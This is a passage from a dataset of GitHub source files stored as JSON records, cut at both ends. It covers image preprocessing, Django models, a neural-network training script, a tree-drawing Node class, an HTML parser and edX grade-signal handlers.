data_fit.fit_type, data_fit.order))\n\n## End function: def DrawFits(sig_fit, bkg_fit, data_fit, cat):\n\n","repo_name":"UFLX2MuMu/H2MuAnalyzer","sub_path":"WorkspaceDatacard/python/PlotHelper.py","file_name":"PlotHelper.py","file_ext":"py","file_size_in_byte":3770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30987590304","text":"#!/anaconda/envs/py36\nimport numpy as np\nimport os\nimport cv2\nfrom matplotlib import pyplot as plt\n\n# View version number\nprint('Performing pre-processing...')\n\n\nclass imageupload():\n    def __init__(self):\n        self.imagepath = '/Users/mosadoluwaobatusin/Documents/Projects/CancerCDS/Data/dataset1/Module1.2_FeatureExtractionSelection_Data/Necrosis_1.png'\n\n    # Load Image As Greyscale\n    def grayscale(self):\n    # Load image as grayscale\n        image = cv2.imread(self.imagepath, cv2.IMREAD_GRAYSCALE)\n\n        # Show image\n        plt.imshow(image, cmap='gray'), plt.axis(\"off\")\n        plt.show()\n\n    # Load Image As RGB\n    def rgb(self):\n        # Load image in color\n        image_bgr = cv2.imread(self.imagepath, cv2.IMREAD_COLOR)\n\n        # Convert to RGB\n        image_rgb = cv2.cvtColor(image_bgr, cv2.COLOR_BGR2RGB)\n\n        # Show image\n        plt.imshow(image_rgb), plt.axis(\"off\")\n        plt.show()\n\n\n\nimg = imageupload()\nimg.rgb()","repo_name":"mobatusi/CancerCDS","sub_path":"preprocessing2.py","file_name":"preprocessing2.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"15437055383","text":"from django.db import models\nfrom django.contrib.auth.models import User\nfrom django.conf import settings\n\n\nclass UploadedFile(models.Model):\n    file = models.FileField(upload_to='uploads/')\n    uploaded_at = models.DateTimeField(auto_now_add=True)\n\n\nclass PlotFile(models.Model):\n    plot = models.ImageField(upload_to='uploads/', null=True)\n    plot_hazard3m = models.DecimalField(max_digits=5, decimal_places=2, null=True)\n    plot_hazard6m = models.DecimalField(max_digits=5, decimal_places=2, null=True)\n    plot_hazard12m = models.DecimalField(max_digits=5, decimal_places=2, null=True)\n    plot_avr_surv = models.CharField (max_length=50)\n    plot_name = models.CharField(max_length=20)\n    plot_user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)\n\nclass ControlPlotFile(models.Model):\n    plot = models.ImageField(upload_to='uploads/', null=True)\n    plot_user = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)","repo_name":"FOlexander/hrtools","sub_path":"hrtool/datadownload/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":966,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"8022293622","text":"from collections import Counter\r\ndef sort_by_occurrence(nums):\r\n\r\n     c1= Counter(input_list)\r\n     sorted_x = sorted(c1.items(), key=lambda x: x[1])\r\n     res_x=[]\r\n     for item in sorted_x[0:]:\r\n         res_x.append(item[0])\r\n     return res_x\r\n     \r\nif __name__ == '__main__':\r\n    # 只有当这个 py 档案以 Python 直译器执行时，才会执行到以下程式码。\r\n    # 若是把这个 py 档案做为模组来汇入，不会执行到以下程式码。\r\n    input_list = [2, 2, 4, 3, 3, 8, 4, 9, 8, 4, 8, 3, 8, 4, 8]\r\n    Output_list = sort_by_occurrence(input_list)\r\n    print(Output_list)\r\n\r\n\r\n#留言板","repo_name":"EEB113A/hw3-Code-Review","sub_path":"1070323_凃博允.py","file_name":"1070323_凃博允.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"30530249914","text":"# Import all the libraries we need.\nimport sys\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import KFold\nimport tensorflow as tf\nimport tensorflow_probability as tfp\nimport datetime\nimport os\nfrom scipy.stats import spearmanr\nimport csv\n\n# Variable for the current directory\ncwd = os.getcwd()\n\n#################### IMPORT THE FUNCTIONS WE NEED FROM MODEL AND EVALUATION TODO ####################\n#os.chdir(\"**Put here the directory where you have the file with your function**\")\n#from file import function\n\n#os.chdir(\"**Put here the directory where you have the file with your function**\")\n#from file2 import function2, function3\n\n# For the toy dataprocessing\nfrom final_individual import preprocess_cv\nfrom toy_preprocess import five_tissues_preprocess,five_tissues_preprocess_cv\n\n# For the toy model script\nfrom flex_nn_model import flex_nn_model\n\n# For the toy evaluations scripts\nfrom toy_eval import pearson_corr, spearman_rankcor, spearman_four\n\n# Change back to the current working directory\nos.chdir(cwd)\n#########################################################################################################\n\ntry:\n    # Disable all GPUS\n    tf.config.set_visible_devices([], 'GPU')\n    visible_devices = tf.config.get_visible_devices()\n#    for device in visible_devices:\n#        assert device.device_type != 'GPU'\nexcept:\n    # Invalid device or cannot modify virtual devices once initialized.\n    pass\n\n# Assign variables for all the hyperparameters that we could tune\nmomentum = 0.9\ndata_genes = \"\"\ndata_gluc = \"\"\ndata_sex = \"\"\nl2_r = 0.5\nbatch_size = 10\nlearning_rate = 0.1\nmy_opt = \"adam\" # optimizers (adam, adagrad, RMSprop)\nnum_layers = 4\nsize_layers = []\ndrop_out_rates = []\npatience = 3\nact = \"swish\"\n\n# Get the arguments\nif __name__ == \"__main__\":\t\n    run_id = str(sys.argv[1])\n    path = str(sys.argv[2])\n    tissue = str(sys.argv[4])\n    file_in = str(sys.argv[3])\n\n    #print(f\"Arguments count: {len(sys.argv)}\")\n    #for i, arg in enumerate(sys.argv):\n    #    print(f\"Argument {i:>6}: {arg}\")\n\nmy_file_in = open(run_id + \".in\",\"r\")\nargs = my_file_in.readline().split(',')\norgan = str(args[0])\ndata_genes = str(args[1])\ndata_gluc = str(args[2])\ndata_sex = str(args[3])\nmomentum = float(args[4])\nl2_r = float(args[5])\nbatch_size = int(args[6])\nlearning_rate = float(args[7])\nmy_opt = str(args[8])\nnum_layers = int(args[9])\npat = int(args[10])\nrun_id = str(args[11])\n\n# Get the size of layers and drop out rates\nfor i in range(num_layers):\n    size_layers.append(int(args[12+i]))\nfor i in range(num_layers):\n    drop_out_rates.append(float(args[12+num_layers+i]))\n    \nprint(\"Run id:\", run_id)\n########### TODO: Read in the arguments from the CHTC script. ###########################################\n# This will be important for hyperparameter tuning. No arguments for toy script.\n# TODO: Run the preprocessing script to get the dataset\n# The data paths will be IN THE CURRENT WORKING DIRECTORY (see toy.sh)\n# Will have lots of outputs if using cross-validation\n\nmirrored_strategy = tf.distribute.MirroredStrategy()\n\nwith mirrored_strategy.scope():\n    X_train, X_test, y_train, y_test\\\n        = preprocess_cv(cwd + \"/\"+tissue+\"/\"+data_genes, cwd +\"/\" +tissue+\"/\"+  data_gluc, cwd +\"/\"+tissue+\"/\"+ data_sex)\n    #########################################################################################################\n\n\n    ################ TODO: Import the model by calling a model function in models folder ####################\n    gene_input_shape = (len(X_train[0]),)\n    model = flex_nn_model(gene_input_shape, l2_r, drop_out_rates, act, num_layers, size_layers)\n    #########################################################################################################\n\n\n    #### TODO: Define the metrics we want to fit to (useful for tensorflow and non-tensorflow models) #######\n    metrics = [\n             \"MeanAbsolutePercentageError\",\n             spearman_rankcor,\n             tf.keras.metrics.MeanSquaredError(name='mse')\n            ]\n    ########################################################################################################\n\n    ############# Train the model TODO #####################################################################\n    callback_train = tf.keras.callbacks.EarlyStopping(monitor='loss', patience=pat)\n    callback_val = tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=5)\n\n\n    results = []\n        \n    # Choose between different optimizers\n    if my_opt == \"adam\":\n        model.compile(loss='MeanSquaredError', optimizer=tf.keras.optimizers.Adam(learning_rate), \\\n        metrics=metrics)\n    # fit the model\n    model.fit(X_train, y_train, \n              epochs=100, batch_size=batch_size, verbose=1, \n              #validation_data=(X_val,y_val),\n              validation_split = 0.15,\n              callbacks=[callback_train,callback_val]\n              )\n\n    ####################################################################################################\n    # Evaluate the model after training. TODO\n    # Printing things will direct output to the .out file you specified in the CHTC submit script.\n    print(\"BEGIN testing-------------------\")\n    test_results = model.evaluate(X_test, y_test, verbose=1)\n    results.append(test_results)\n    \n\n# save results\nresults = np.array(results)\nprint(\"loss:\", np.mean(results[:,0]),\"abs%:\", np.mean(results[:,1]),\n\"spearman:\", np.mean(results[:,2]),\"mse:\", np.mean(results[:,3]))\n\n#str_avg = str(avg[0])\n#for i in range(len(results)):\n#    tmp_str = str(results[i][0])\n#    for j in range(3):\n#        tmp_str = tmp_str + \",\" + str(results[i][1+j])\n#    print(tmp_str)\n########################################################################################################\n\n## for permutation and test\n#modules = pd.read_pickle(tissue+ \"_indices.pkl\")\n#n_shuffle = 100\n#discrepency = np.zeros((len(modules.keys()), n_shuffle, 4))\n#for i,key in enumerate(modules.keys()):\n#    print(key)\n#    X_test_copy = X_test.copy()\n#    for j in range(n_shuffle): # repeat two times\n#        for col_index in modules[key]:\n#            np.random.shuffle(X_test_copy[:,col_index])\n#        result = np.array(model.evaluate(X_test_copy, y_test))\n#        discrepency[i, j] = result\n#np.set_printoptions(threshold=np.inf)\n#print(discrepency)\n","repo_name":"ccdftwin2/our-project-x-2021","sub_path":"python_scripts/final_mult.py","file_name":"final_mult.py","file_ext":"py","file_size_in_byte":6355,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"37764458762","text":"\"\"\"\n\n    Node class module\n\n\"\"\"\nfrom typing import List\nfrom itertools import chain\n\n\nclass Node:\n    \"\"\"\n    Main node class\n    Created to transform coordinates into picture\n    \"\"\"\n    svg: list = []\n    origin_x: int = 0\n    origin_y: int = 0\n\n    def __init__(self, data: dict, settings: dict):\n        \"\"\"\n        New node initiation\n        \"\"\"\n        self.settings = settings\n        self.node_id = data['node_id']\n        self.depth = data['depth']\n        self.args = data['args']\n        self.kwargs = data['kwargs']\n        self.returns = data['returns']\n        self.name = data['name']\n        self.x = 0\n        self.y = self.depth * self.ver_spacing\n        self.parent = None\n        self.children = []\n        self._descendants = None\n        self._text = 'Main'\n\n    def __getattr__(self, item):\n        \"\"\"\n        Simplified variant of settings accessing\n        \"\"\"\n        return self.settings[item]\n\n    def align_to_children(self):\n        \"\"\"\n        Move node horizontally to the average center\n        of its children, without affecting children\n        \"\"\"\n        if self.children:\n            children_x = (child.x for child in self.children)\n            new_x = sum(children_x) / len(self.children)\n            self.x = int(new_x)\n\n    @property\n    def descendants(self) -> set:\n        \"\"\"\n        Get all nodes that are inherited from this\n        \"\"\"\n        if self._descendants is None:\n            descendants = set()\n            for child in self.children:\n                descendants.add(child)\n                descendants.update(child.descendants)\n            self._descendants = descendants\n        return self._descendants\n\n    @property\n    def width(self) -> int:\n        \"\"\"\n        Node width, depending on it's text\n        \"\"\"\n        longest = max(self.text.split('\\n'))\n        return max(len(longest) * self.char_width, self.min_node_width)\n\n    @property\n    def height(self) -> int:\n        \"\"\"\n        Node height, depending on it's text\n        \"\"\"\n        lines = len(self.text.split('\\n'))\n        return max(lines * self.char_height, self.min_node_height)\n\n    @property\n    def left(self) -> int:\n        \"\"\"\n        Left boundary of the group\n        \"\"\"\n        descendants_x = (node.x for node in self.descendants)\n        furthest_left = min(chain(descendants_x, [self.x]))\n        furthest_left -= self.width // 2 + self.margin\n        return furthest_left\n\n    @property\n    def right(self) -> int:\n        \"\"\"\n        Right boundary of the group\n        \"\"\"\n        descendants_x = (node.x for node in self.descendants)\n        furthest_right = max(chain(descendants_x, [self.x]))\n        furthest_right += self.width // 2 + self.margin\n        return furthest_right\n\n    @property\n    def bottom(self) -> int:\n        \"\"\"\n        Bottom boundary of the group\n        \"\"\"\n        descendants_y = (node.y for node in self.descendants)\n        furthest_bottom = min(chain(descendants_y, [self.y]))\n        furthest_bottom -= (self.height // 2) + self.margin\n        return furthest_bottom\n\n    @property\n    def top(self) -> int:\n        \"\"\"\n        Top boundary of the group\n        \"\"\"\n        descendants_y = (node.y for node in self.descendants)\n        furthest_top = max(chain(descendants_y, [self.y]))\n        furthest_top += (self.height // 2) + self.margin\n        return furthest_top\n\n    @property\n    def text(self) -> str:\n        \"\"\"\n        Node arguments\n        \"\"\"\n        if self._text == 'Main' and self.node_id != 0:\n            str_args = [str(x) for x in self.args]\n            str_kwargs = ['{}={}'.format(key, value) for key, value in self.kwargs.items()]\n            args = ', '.join(str_args + str_kwargs)\n            self._text = f'{self.name}({args})\\n{self.returns}'\n        return self._text\n\n    def __str__(self) -> str:\n        return f'Node({self.node_id}, {self.x}, {self.y})'\n\n    def __repr__(self) -> str:\n        return self.__str__()\n\n    def shift_branch(self, shift_x: int):\n        \"\"\"\n        Move this node with all of its descendants\n        \"\"\"\n        self.x += shift_x\n        for child in self.children:\n            child.shift_branch(shift_x)\n\n    @staticmethod\n    def initial_align(nodes: list, settings: dict):\n        \"\"\"\n        Main alignment procedure for the whole tree\n        \"\"\"\n        deepest_layer = max(node.depth for node in nodes)\n\n        for level in range(deepest_layer, 0, -1):\n            nodes_on_level = [node for node in nodes if node.depth == level]\n\n            for i in range(len(nodes_on_level) - 1):\n                target_left_bound = nodes_on_level[i].right + settings['margin']\n                shift = target_left_bound - nodes_on_level[i + 1].left\n\n                nodes_on_level[i + 1].shift_branch(shift)\n\n                for each in nodes:\n                    each.align_to_children()\n\n        nodes[0].align_to_children()\n\n        # \"Main\" node, at the top\n        fake_node = Node({\n            \"node_id\": 0,\n            \"depth\": 0,\n            \"name\": None,\n            \"args\": None,\n            \"kwargs\": None,\n            \"returns\": None}, settings)\n\n        fake_node.x = nodes[0].x\n        fake_node.y = nodes[0].y - settings['ver_spacing']\n        nodes[0].parent = fake_node\n        nodes.append(fake_node)\n\n\ndef analyze_nodes(nodes_list: List[dict], settings: dict) -> List[Node]:\n    \"\"\"\n    Create object out of the analyzed dictionary\n    \"\"\"\n    nodes = []\n    # Make Node objects out of the dictionaries\n    for node_dict in nodes_list:\n        nodes.append(Node(node_dict, settings))\n\n    # After all nodes are created, we can tie them with inheritance links\n    for cur_node, cur_record in zip(nodes, nodes_list):\n        if cur_record['parent']:\n            parent_id = cur_record['parent'] - 1\n            cur_node.parent = nodes[parent_id]\n\n        if cur_record['children']:\n            for child_id in cur_record['children']:\n                child_index = child_id - 1\n                cur_node.children.append(nodes[child_index])\n\n    return nodes\n","repo_name":"IgorZyktin/recursion_tree","sub_path":"recursion_tree/node.py","file_name":"node.py","file_ext":"py","file_size_in_byte":6026,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"35"}
{"seq_id":"14333708844","text":"import filecmp\nimport os\nimport unittest\n\nfrom evalrescallers_paper import samples_table\n\nmodules_dir = os.path.dirname(os.path.abspath(samples_table.__file__))\ndata_dir = os.path.join(modules_dir, 'tests', 'data', 'samples_table')\n\n\nclass TestSamplesTable(unittest.TestCase):\n    def test_make_samples_tsv(self):\n        '''test make_samples_tsv'''\n        # All that matters in the json_data is the keys. Is only\n        # used to ask: is sample in json_data? So for testing, can\n        # just use a set of IDs. Pick a few at random across the data.\n        json_data = {\n            'ERR038266',  # from ncomms10063-s7.txt\n            'SRR2100931', # from ncomms10063-s8.txt\n            'ERS457325',  # from ncomms10063-s9.txt\n            'ERR553349',  # from ncomms10063-s10.txt\n            'ERR067620',  # from 10k validate dataset\n            'ERR2514066', # from 10k test dataset\n        }\n        outfile = 'tmp.samples_table.make_samples_tsv.tsv'\n        got_country_counts = samples_table.make_samples_tsv(json_data, outfile)\n        expect_country_counts = {\n            'Germany': {'test': 0, 'train': 1, 'validate': 0},\n             'Russia': {'test': 0, 'train': 0, 'validate': 1},\n             'Sierra Leone': {'test': 0, 'train': 1, 'validate': 0},\n             'UK': {'test': 1, 'train': 2, 'validate': 0},\n        }\n        expected_file = os.path.join(data_dir, 'make_samples_tsv.tsv')\n        self.assertTrue(filecmp.cmp(expected_file, outfile, shallow=False))\n        self.assertEqual(expect_country_counts, got_country_counts)\n        os.unlink(outfile)\n\n","repo_name":"iqbal-lab-org/tb-amr-benchmarking-paper","sub_path":"python/evalrescallers_paper/tests/samples_table_test.py","file_name":"samples_table_test.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"37732014755","text":"try:\n    from lxml import etree\n\n    LXML = True\nexcept:\n\n    import xml.etree.ElementTree as etree\n    from naivehtmlparser import NaiveHTMLParser\n\n    LXML = False\n\n\nimport io\nimport re\n\n\nclass Parser:\n    def __init__(self):\n        self._tree = None\n        self._cur_elem = None\n\n    def get_starttag_text(self):\n        if self._cur_elem:\n            ret = \"\"\n            for key, value in self._cur_elem.items():\n                if value:\n                    ret = ret + '%s=\"%s\" ' % (key, value)\n                else:\n                    ret = ret + key + \" \"\n            return \"<%s %s>\" % (self._cur_elem.tag, ret[0:-1])\n        return \"\"\n\n    def handle_starttag(self, tag, attrib):\n        pass\n\n    def handle_data(self, txt):\n        pass\n\n    def handle_endtag(self, tag):\n        pass\n\n    def _crawl_tree(self, tree):\n        self._cur_elem = tree\n        if type(tree.tag) is str:\n            self.handle_starttag(tree.tag.lower(), tree.attrib)\n            if tree.text:\n                self.handle_data(tree.text)\n            for node in tree:\n                self._crawl_tree(node)\n            self.handle_endtag(tree.tag)\n        if tree.tail:\n            self.handle_data(tree.tail)\n\n    def crawl_tree(self, tree):\n        self._tree = tree\n        self._crawl_tree(self._tree)\n\n    def from_html(self, html_txt):\n        global LXML\n        if LXML:\n            parser = etree.HTMLParser(\n                remove_blank_text=True, remove_comments=True, remove_pis=True\n            )\n            return etree.parse(io.StringIO(html_txt), parser).getroot()\n        else:\n            parser = NaiveHTMLParser()\n            root = parser.feed(html_txt)\n            parser.close()\n            return root\n\n    def init(self, html_txt):\n        if type(html_txt) == Elem:\n            self._tree = self.from_html(\"<html></html>\")\n            self._tree.append(html_txt.elem)\n        else:\n            try:\n                self._tree = self.from_html(html_txt)\n            except:\n                print(html_txt)\n                self._tree = None\n\n    def feed(self, html_txt):\n        self.init(html_txt)\n        self._crawl_tree(self._tree)\n\n    def close(self):\n        self._tree = None\n\n\ndef tostring(elem):\n    global LXML\n    if LXML:\n        return etree.tostring(\n            elem, encoding=\"unicode\", method=\"html\", pretty_print=True\n        )\n    else:\n        return etree.tostring(elem, encoding=\"unicode\", method=\"html\")\n\n\ndef content_tostring(elem):\n    tab = []\n    if elem.text:\n        tab.append(elem.text)\n    for pos in elem:\n        tab.append(tostring(pos))\n    if elem.tail:\n        tab.append(elem.tail)\n    return \"\".join(tab)\n\n\nclass Elem:\n    def __init__(self, elem, tostring_fun=tostring):\n        self.elem = elem\n        self._elem_txt = None\n        self._tostring_fun = tostring_fun\n\n    def __str__(self):\n        if self._elem_txt == None:\n            if self.elem != None:\n                self._elem_txt = self._tostring_fun(self.elem)\n            else:\n                return \"\"\n        return self._elem_txt\n\n    def __len__(self):\n        if self._elem_txt == None:\n            self._elem_txt = self._tostring_fun(self.elem)\n        return len(self._elem_txt)\n\n    def __bool__(self):\n        if self.elem == None:\n            return False\n        else:\n            return True\n\n    def super_strip(self, s):\n        s = re.sub(r\"(( )*(\\\\n)*)*\", \"\", s)\n        return s.strip()\n\n    def tostream(self, output=None, elem=None, tab=0):\n        if elem == None:\n            elem = self.elem\n        if output == None:\n            output = io.StringIO()\n        if type(elem.tag) is str:\n            output.write(\" \" * tab)\n            output.write(elem.tag.lower())\n            first = True\n            for key, value in elem.attrib.items():\n                if first:\n                    output.write(\" \")\n                else:\n                    output.write(\",,,\")\n                output.write(key)\n                output.write(\"=\")\n                if type(value) == str:\n                    output.write(value.replace(\"\\n\", \"\\\\n\"))\n                else:\n                    output.write(str(value).replace(\"\\n\", \"\\\\n\"))\n\n                first = False\n            if elem.text:\n                x = self.super_strip(elem.text.replace(\"\\n\", \"\\\\n\"))\n                if x:\n                    output.write(\"...\")\n                    output.write(x)\n            output.write(\"\\n\")\n            for node in elem:\n                self.tostream(output, node, tab + 4)\n        if elem.tail:\n            x = self.super_strip(elem.tail.replace(\"\\n\", \"\\\\n\"))\n            if x:\n                output.write(\" \" * tab)\n                output.write(\".\")\n                output.write(x)\n                output.write(\"\\n\")\n        return output\n\n\nclass Script(Elem):\n    def __init__(self, elem, tostring_fun=content_tostring):\n        super().__init__(elem, tostring_fun)\n","repo_name":"Splawik/pytigon-lib","sub_path":"pytigon_lib/schhtml/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":4909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"22271683526","text":"\"\"\"\nGrades related signals.\n\"\"\"\nfrom contextlib import contextmanager\nfrom logging import getLogger\n\nfrom crum import get_current_user\nfrom django.dispatch import receiver\nfrom xblock.scorable import ScorableXBlockMixin, Score\n\nfrom courseware.model_data import get_score, set_score\nfrom eventtracking import tracker\nfrom openedx.core.lib.grade_utils import is_score_higher_or_equal\nfrom student.models import user_by_anonymous_id\nfrom submissions.models import score_reset, score_set\nfrom track.event_transaction_utils import (\n    create_new_event_transaction_id,\n    get_event_transaction_id,\n    get_event_transaction_type,\n    set_event_transaction_type\n)\nfrom util.date_utils import to_timestamp\n\nfrom ..constants import ScoreDatabaseTableEnum\nfrom ..new.course_grade_factory import CourseGradeFactory\nfrom ..scores import weighted_score\nfrom ..tasks import RECALCULATE_GRADE_DELAY, recalculate_subsection_grade_v3\nfrom .signals import (\n    PROBLEM_RAW_SCORE_CHANGED,\n    PROBLEM_WEIGHTED_SCORE_CHANGED,\n    SCORE_PUBLISHED,\n    SUBSECTION_SCORE_CHANGED\n)\n\nlog = getLogger(__name__)\n\n# define values to be used in grading events\nGRADES_RESCORE_EVENT_TYPE = 'edx.grades.problem.rescored'\nPROBLEM_SUBMITTED_EVENT_TYPE = 'edx.grades.problem.submitted'\n\n\n@receiver(score_set)\ndef submissions_score_set_handler(sender, **kwargs):  # pylint: disable=unused-argument\n    \"\"\"\n    Consume the score_set signal defined in the Submissions API, and convert it\n    to a PROBLEM_WEIGHTED_SCORE_CHANGED signal defined in this module. Converts the\n    unicode keys for user, course and item into the standard representation for the\n    PROBLEM_WEIGHTED_SCORE_CHANGED signal.\n\n    This method expects that the kwargs dictionary will contain the following\n    entries (See the definition of score_set):\n      - 'points_possible': integer,\n      - 'points_earned': integer,\n      - 'anonymous_user_id': unicode,\n      - 'course_id': unicode,\n      - 'item_id': unicode\n    \"\"\"\n    points_possible = kwargs['points_possible']\n    points_earned = kwargs['points_earned']\n    course_id = kwargs['course_id']\n    usage_id = kwargs['item_id']\n    user = user_by_anonymous_id(kwargs['anonymous_user_id'])\n    if user is None:\n        return\n    if points_possible == 0:\n        # This scenario is known to not succeed, see TNL-6559 for details.\n        return\n\n    PROBLEM_WEIGHTED_SCORE_CHANGED.send(\n        sender=None,\n        weighted_earned=points_earned,\n        weighted_possible=points_possible,\n        user_id=user.id,\n        anonymous_user_id=kwargs['anonymous_user_id'],\n        course_id=course_id,\n        usage_id=usage_id,\n        modified=kwargs['created_at'],\n        score_db_table=ScoreDatabaseTableEnum.submissions,\n    )\n\n\n@receiver(score_reset)\ndef submissions_score_reset_handler(sender, **kwargs):  # pylint: disable=unused-argument\n    \"\"\"\n    Consume the score_reset signal defined in the Submissions API, and convert\n    it to a PROBLEM_WEIGHTED_SCORE_CHANGED signal indicating that the score\n    has been set to 0/0. Converts the unicode keys for user, course and item\n    into the standard representation for the PROBLEM_WEIGHTED_SCORE_CHANGED signal.\n\n    This method expects that the kwargs dictionary will contain the following\n    entries (See the definition of score_reset):\n      - 'anonymous_user_id': unicode,\n      - 'course_id': unicode,\n      - 'item_id': unicode\n    \"\"\"\n    course_id = kwargs['course_id']\n    usage_id = kwargs['item_id']\n    user = user_by_anonymous_id(kwargs['anonymous_user_id'])\n    if user is None:\n        return\n\n    PROBLEM_WEIGHTED_SCORE_CHANGED.send(\n        sender=None,\n        weighted_earned=0,\n        weighted_possible=0,\n        user_id=user.id,\n        anonymous_user_id=kwargs['anonymous_user_id'],\n        course_id=course_id,\n        usage_id=usage_id,\n        modified=kwargs['created_at'],\n        score_deleted=True,\n        score_db_table=ScoreDatabaseTableEnum.submissions,\n    )\n\n\n@contextmanager\ndef disconnect_submissions_signal_receiver(signal):\n    \"\"\"\n    Context manager to be used for temporarily disconnecting edx-submission's set or reset signal.\n    \"\"\"\n    if signal == score_set:\n        handler = submissions_score_set_handler\n    else:\n        if signal != score_reset:\n            raise ValueError(\"This context manager only deal with score_set and score_reset signals.\")\n        handler = submissions_score_reset_handler\n\n    signal.disconnect(handler)\n    try:\n        yield\n    finally:\n        signal.connect(handler)\n\n\n@receiver(SCORE_PUBLISHED)\ndef score_published_handler(sender, block, user, raw_earned, raw_possible, only_if_higher, **kwargs):  # pylint: disable=unused-argument\n    \"\"\"\n    Handles whenever a block's score is published.\n    Returns whether the score was actually updated.\n    \"\"\"\n    update_score = True\n    if only_if_higher:\n        previous_score = get_score(user.id, block.location)\n\n        if previous_score is not None:\n            prev_raw_earned, prev_raw_possible = (previous_score.grade, previous_score.max_grade)\n\n            if not is_score_higher_or_equal(prev_raw_earned, prev_raw_possible, raw_earned, raw_possible):\n                update_score = False\n                log.warning(\n                    u\"Grades: Rescore is not higher than previous: \"\n                    u\"user: {}, block: {}, previous: {}/{}, new: {}/{} \".format(\n                        user, block.location, prev_raw_earned, prev_raw_possible, raw_earned, raw_possible,\n                    )\n                )\n\n    if update_score:\n        # Set the problem score in CSM.\n        score_modified_time = set_score(user.id, block.location, raw_earned, raw_possible)\n\n        # Set the problem score on the xblock.\n        if isinstance(block, ScorableXBlockMixin):\n            block.set_score(Score(raw_earned=raw_earned, raw_possible=raw_possible))\n\n        # Fire a signal (consumed by enqueue_subsection_update, below)\n        PROBLEM_RAW_SCORE_CHANGED.send(\n            sender=None,\n            raw_earned=raw_earned,\n            raw_possible=raw_possible,\n            weight=getattr(block, 'weight', None),\n            user_id=user.id,\n            course_id=unicode(block.location.course_key),\n            usage_id=unicode(block.location),\n            only_if_higher=only_if_higher,\n            modified=score_modified_time,\n            score_db_table=ScoreDatabaseTableEnum.courseware_student_module,\n        )\n    return update_score\n\n\n@receiver(PROBLEM_RAW_SCORE_CHANGED)\ndef problem_raw_score_changed_handler(sender, **kwargs):  # pylint: disable=unused-argument\n    \"\"\"\n    Handles the raw score changed signal, converting the score to a\n    weighted score and firing the PROBLEM_WEIGHTED_SCORE_CHANGED signal.\n    \"\"\"\n    if kwargs['raw_possible'] is not None:\n        weighted_earned, weighted_possible = weighted_score(\n            kwargs['raw_earned'],\n            kwargs['raw_possible'],\n            kwargs['weight'],\n        )\n    else:  # TODO: remove as part of TNL-5982\n        weighted_earned, weighted_possible = kwargs['raw_earned'], kwargs['raw_possible']\n\n    PROBLEM_WEIGHTED_SCORE_CHANGED.send(\n        sender=None,\n        weighted_earned=weighted_earned,\n        weighted_possible=weighted_possible,\n        user_id=kwargs['user_id'],\n        course_id=kwargs['course_id'],\n        usage_id=kwargs['usage_id'],\n        only_if_higher=kwargs['only_if_higher'],\n        score_deleted=kwargs.get('score_deleted', False),\n        modified=kwargs['modified'],\n        score_db_table=kwargs['score_db_table'],\n    )\n\n\n@receiver(PROBLEM_WEIGHTED_SCORE_CHANGED)\ndef enqueue_subsection_update(sender, **kwargs):  # pylint: disable=unused-argument\n    \"\"\"\n    Handles the PROBLEM_WEIGHTED_SCORE_CHANGED signal by\n    enqueueing a subsection update operation to occur asynchronously.\n    \"\"\"\n    _emit_event(kwargs)\n    result = recalculate_subsection_grade_v3.apply_async(\n        kwargs=dict(\n            user_id=kwargs['user_id'],\n            anonymous_user_id=kwargs.get('anonymous_user_id'),\n            course_id=kwargs['course_id'],\n            usage_id=kwargs['usage_id'],\n            only_if_higher=kwargs.get('only_if_higher'),\n            expected_modified_time=to_timestamp(kwargs['modified']),\n            score_deleted=kwargs.get('score_deleted', False),\n            event_transaction_id=unicode(get_event_transaction_id()),\n            event_transaction_type=unicode(get_event_transaction_type()),\n            score_db_table=kwargs['score_db_table'],\n        ),\n        countdown=RECALCULATE_GRADE_DELAY,\n    )\n    log.info(\n        u'Grades: Request async calculation of subsection grades with args: {}. Task [{}]'.format(\n            ', '.join('{}:{}'.format(arg, kwargs[arg]) for arg in sorted(kwargs)),\n            getattr(result, 'id', 'N/A'),\n        )\n    )\n\n\n@receiver(SUBSECTION_SCORE_CHANGED)\ndef recalculate_course_grade(sender, course, course_structure, user, **kwargs):  # pylint: disable=unused-argument\n    \"\"\"\n    Updates a saved course grade.\n    \"\"\"\n    CourseGradeFactory().update(user, course=course, course_structure=course_structure)\n\n\ndef _emit_event(kwargs):\n    \"\"\"\n    Emits a problem submitted event only if there is no current event\n    transaction type, i.e. we have not reached this point in the code via a\n    rescore or student state deletion.\n\n    If the event transaction type has already been set and the transacation is\n    a rescore, emits a problem rescored event.\n    \"\"\"\n    root_type = get_event_transaction_type()\n\n    if not root_type:\n        root_id = get_event_transaction_id()\n        if not root_id:\n            root_id = create_new_event_transaction_id()\n        set_event_transaction_type(PROBLEM_SUBMITTED_EVENT_TYPE)\n        tracker.emit(\n            unicode(PROBLEM_SUBMITTED_EVENT_TYPE),\n            {\n                'user_id': unicode(kwargs['user_id']),\n                'course_id': unicode(kwargs['course_id']),\n                'problem_id': unicode(kwargs['usage_id']),\n                'event_transaction_id': unicode(root_id),\n                'event_transaction_type': unicode(PROBLEM_SUBMITTED_EVENT_TYPE),\n                'weighted_earned': kwargs.get('weighted_earned'),\n                'weighted_possible': kwargs.get('weighted_possible'),\n            }\n        )\n\n    if root_type == 'edx.grades.problem.rescored':\n        current_user = get_current_user()\n        if current_user is not None and hasattr(current_user, 'id'):\n            